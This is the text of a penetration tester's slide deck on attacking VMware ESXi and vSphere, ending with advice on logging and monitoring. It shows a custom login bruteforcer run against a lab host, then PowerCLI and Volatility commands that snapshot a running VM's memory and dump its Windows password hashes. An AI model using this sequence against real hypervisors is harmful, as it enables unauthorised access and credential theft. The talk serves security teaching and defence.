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Introduction

• Daniel Sauder

• Penetration Testing

• Some DFIR



3

Why is this relevant?



4

Missing Network Separation, Lack of basic security

Now: 188.849 ports to VMware Authentication Deamon 
open, beginning of 2016: 85.000
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Access to hell of a lot machines

(source: https ://support.f5.com/content/dam/f5/kb/globa l/re lease_notes /apm_ve/apm_ve_10_2_1/bigip-vm-esx-screen.jpg )

https://support.f5.com/content/dam/f5/kb/global/release_notes/apm_ve/apm_ve_10_2_1/bigip-vm-esx-screen.jpg
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Lot of old stuff in infrastructure
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Known Vulnerabilies & Attack Vectors
• CVE Details

• Only Score >= 9 (All: 40), some examples



8

Many dependecies

• Java

• Tomcat

• Linux

• glibc

• Windows

• ...

• Made as appliance, hardening is not easy
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Java JRE from 2014
• The following VMware products are affected by the Oracle JRE vulnerability:

• Horizon View 6.x or 5.x

• Horizon Workspace Portal Server 2.1 or 2.0

• vCenter Operations Manager 5.8.x or 5.7.x

• vCloud Automation Center 6.0.1

• vSphere Replication prior to 5.8.0.2 or 5.6.0.3

• vRealize Automation 6.2.x or 6.1.x

• vRealize Code Stream 1.1 or 1.0

• vRealize Hyperic 5.8.x, 5.7.x or 5.0.x

• vSphere AppHA Prior to 1.1.x

• …

 http://www.datacenterdynamics .com/security-risk/vmware-is sues -security-warning-for-java-vulne rability/93688.fullarticle

http://www.datacenterdynamics.com/design-strategy/vmware-cio-tony-scott-appointed-as-us-cio/93298.article
http://www.datacenterdynamics.com/security-risk/vmware-issues-security-warning-for-java-vulnerability/93688.fullarticle
http://www.datacenterdynamics.com/security-risk/vmware-issues-security-warning-for-java-vulnerability/93688.fullarticle
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Attack Vectors: 
Network 
Connections

Source: https ://kb.vmware .com/selfs ervice /micros ites /s earch.do?language=en_US &cmd=displayKC&externalId=2054806

https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&amp;cmd=displayKC&amp;externalId=2054806
https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&amp;cmd=displayKC&amp;externalId=2054806
https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&amp;cmd=displayKC&amp;externalId=2054806
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All that makes opportunities for vulnerability research

All that makes opportunities for vulnerability research

... VMWare joint PWN2OWN in 2016

http://community.hpe.com/t5/Security-Research/Zero-Day-Initiative-announces-Pwn2Own-2016/ba-p/
6831571#.VxOrR3oxCc3

And success in 2017:

https://threatpost.com/vmware-patches-pwn2own-vm-escape-vulnerabilities/124629/

http://community.hpe.com/t5/Security-Research/Zero-Day-Initiative-announces-Pwn2Own-2016/ba-p/6831571#.VxOrR3oxCc3
http://community.hpe.com/t5/Security-Research/Zero-Day-Initiative-announces-Pwn2Own-2016/ba-p/6831571#.VxOrR3oxCc3
https://threatpost.com/vmware-patches-pwn2own-vm-escape-vulnerabilities/124629/
https://threatpost.com/vmware-patches-pwn2own-vm-escape-vulnerabilities/124629/
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Further Attack Vectors

My Favourite: Admin ADS = Login 
vSphere
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MitM
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Bruteforcing

• MSF module did not work for me

• so I wrote a bruteforcer

dax@ubuntu:~/dxvmtk$ python bruteforce.py

usage: bruteforce.py [-h] -s HOST [-o PORT] [-u USER] [-p PASSWORD]

                     [-U USERFILE] [-P PASSFILE] [-l] [-w] [-r ROUNDS]

                     [-S SECONDS]

optional arguments:

  -h, --help            show this help message and exit

  -s HOST, --host HOST  vSphere service to connect to

  -o PORT, --port PORT  Port to connect on

  -u USER, --user USER  User name to use when connecting to host, default=root

  -p PASSWORD, --password PASSWORD

                        Password to use when connecting to host,

                        default=vmware



17

  -U USERFILE, --userfile USERFILE
                        File with usernames
  -P PASSFILE, --passfile PASSFILE
                        File with passwords
  -l, --userlist        iterate through user and password file simoultanisly:
                        1st round take 1st line from user file and 1st line
                        from password file, then 2nd line of each file for 2nd
                        round, and so on. DEFAULT (without -l): Try each
                        password for each user
  -w, --wait            Wait 120 seconds after 10 login attempts, use that eg
                        for esxi 6
  -r ROUNDS, --rounds ROUNDS
                        Use with -w, you can specify the rounds for waiting
                        (wait 120 seconds after x login attempts)
  -S SECONDS, --seconds SECONDS
                        Use with -w, you can specify how many seconds to wait
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dax@ubuntu:~/dxvmtk$ python bruteforce.py -s 192.168.153.128 -u root -p password
* SUCCESS - user root password: password

dax@ubuntu:~/dxvmtk$ python bruteforce.py -s 192.168.153.128 -u root -P pass.txt
  failed  - user root password: 1234567
* SUCCESS - user root password: password

dax@ubuntu:~/dxvmtk$ head pass.txt
1234567
password
test1234
dax@ubuntu:~/dxvmtk$ head user.txt
daniel
root
dax@ubuntu:~/dxvmtk$ python bruteforce.py -s 192.168.153.128 -U user.txt -P pass.txt 
-l
  failed  - user daniel password: 1234567
* SUCCESS - user root password: password
  failed  - user karl password: test1234
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Postexploitation

• scripting (Python, Powershell...)

• automate attacks

• mount vmdk files

• attack other machines

• List inventory

• Get sensitive files and information

• Focus of my current research
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Get credentials from a running machine
Connect to Server

PowerCLI C:\> Connect-VIServer -Server 192.168.153.128 -User root -Password password
PowerCLI C:\> Get-PSDrive

Name           Used (GB)     Free (GB) Provider      Root
----           ---------     --------- --------      ----
...  cut ...
vi                                     VimInventory  \LastConnectedVCenterSe...
vis                                    VimInventory  \
vmstore                                VimDatastore  \LastConnectedVCenterSe...
vmstores                               VimDatastore  \
WSMan                                  WSMan

PowerCLI C:\temp> cd vmstore:

PowerCLI vmstore:\> dir
            LastWriteTime            Type       Length Name
            -------------            ----       ------ ----
                               Datacenter              ha-datacenter

PowerCLI vmstore:\> cd ha-datacenter\datastore1\Win2008-01
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Make snapshot

PowerCLI vmstore:\ha-datacenter\datastore1\Win2008-01> New-Snapshot -Name 
Snap01 -VM Win2008-01 -memory

Name                 Description                    PowerState
----                 -----------                    ----------
Snap01                                              PoweredOn

PowerCLI vmstore:\ha-datacenter\datastore1\Win2008-01> dir *.vmem

   Datastore path: [datastore1] Win2008-01

            LastWriteTime            Type       Length Name
            -------------            ----       ------ ----
     16.03.2016     03:04            File   1073741824 Win2008-01-Snapsh...
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Copy mem file

PowerCLI vmstore:\ha-datacenter\datastore1\Win2008-01> Copy-
DatastoreItem -Item .\Win2008-01-Snapshot1.vmem 
c:\users\dax\documents
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Get Credentials

PowerCLI C:\Users\dax\Documents> .\volatility-2.5.standalone.exe -f .\Win2008-01-Snapshot5.vmem 
imageinfo
PowerCLI C:\Users\dax\Documents> .\volatility-2.5.standalone.exe hivelist -f .\Win2008-01-
Snapshot5.vmem --profile=Win2008R2SP0x64

Volatility Foundation Volatility Framework 2.5
Virtual            Physical           Name
------------------ ------------------ ----
... cut ...
0xfffff8a004b27010 0x0000000035316010 \SystemRoot\System32\Config\SECURITY
0xfffff8a004ba8410 0x0000000034da0410 \SystemRoot\System32\Config\SAM
0xfffff8a00000d010 0x0000000000b07010 [no name]
0xfffff8a000024010 0x0000000001a6c010 \REGISTRY\MACHINE\SYSTEM

PowerCLI C:\Users\dax\Documents> .\volatility-2.5.standalone.exe hashdump -f .\W
in2008-01-Snapshot5.vmem --profile=Win2008R2SP0x64 -y 0xfffff8a000024010 -s 0xff
fff8a004ba8410
Volatility Foundation Volatility Framework 2.5
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4b8a24567c4d65524dc633b0c51dd
efc:::
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Mimikatz Plugin
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Events & Logging

• log network connections to the esxi servers

• log logins

• log changes to vms

• log creation of snapshots

• log reboots and uploads



26

Relevant log file entries in the vmware.log file for snapshots
The log for can be found in the datastore:
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… some events

And here is some output from the relevant logfiles after making a 
snapshot with VMWare Wokstation connected to the ESXi server:
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And when doing a snapshot over ssh:
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Logging, Splunk, ELK

• Tbd ;)

• https://github.com/harrytruman/logstash-vmware

• https://mtalavera.wordpress.com/2015/05/18/monitoring-vmware-esxi-with-the-elk-stack/

• http://www.vhersey.com/2012/02/configuring-virtual-machine-vmware-log-file-rotation/

• https://wiki.splunk.com/Community:VMwareESXSyslog

• http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalI
d=1007805

https://github.com/harrytruman/logstash-vmware
https://mtalavera.wordpress.com/2015/05/18/monitoring-vmware-esxi-with-the-elk-stack/
http://www.vhersey.com/2012/02/configuring-virtual-machine-vmware-log-file-rotation/
https://wiki.splunk.com/Community:VMwareESXSyslog
http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1007805
http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1007805
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Further reading

• https://govolution.wordpress.com/2016/02/06/memdumps-volatility-mimikatz-vms-overview/

• https://virtualception.wordpress.com/

• http://www.fuzzysecurity.com/tutorials/18.html

• https://labs.vmware.com/flings/vmss2core

https://govolution.wordpress.com/2016/02/06/memdumps-volatility-mimikatz-vms-overview/
https://govolution.wordpress.com/2016/02/06/memdumps-volatility-mimikatz-vms-overview/
https://virtualception.wordpress.com/
https://virtualception.wordpress.com/
http://www.fuzzysecurity.com/tutorials/18.html
http://www.fuzzysecurity.com/tutorials/18.html
https://labs.vmware.com/flings/vmss2core
https://labs.vmware.com/flings/vmss2core
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